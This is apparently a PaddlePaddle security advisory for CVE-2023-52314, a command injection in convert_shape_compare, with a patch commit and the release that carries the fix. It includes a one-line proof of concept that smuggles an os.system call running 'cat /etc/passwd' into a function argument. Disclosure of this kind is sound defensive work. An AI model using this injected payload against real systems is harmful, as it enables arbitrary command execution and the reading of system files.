security/advisory/pdsa-2023-023.md
CVE-2023-52314
Command injection in convert_shape_compare which could lead to execute arbitrary commands. The PoC is as follows:
import paddle
paddle.jit.dy2static.convert_operators.convert_shape_compare('prefix','+ str(__import__("os").system("cat /etc/passwd")) +','1')
We have patched the issue in commit c3b6414eb313480f1417abe92d410dfe89723097. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by leeya_bug.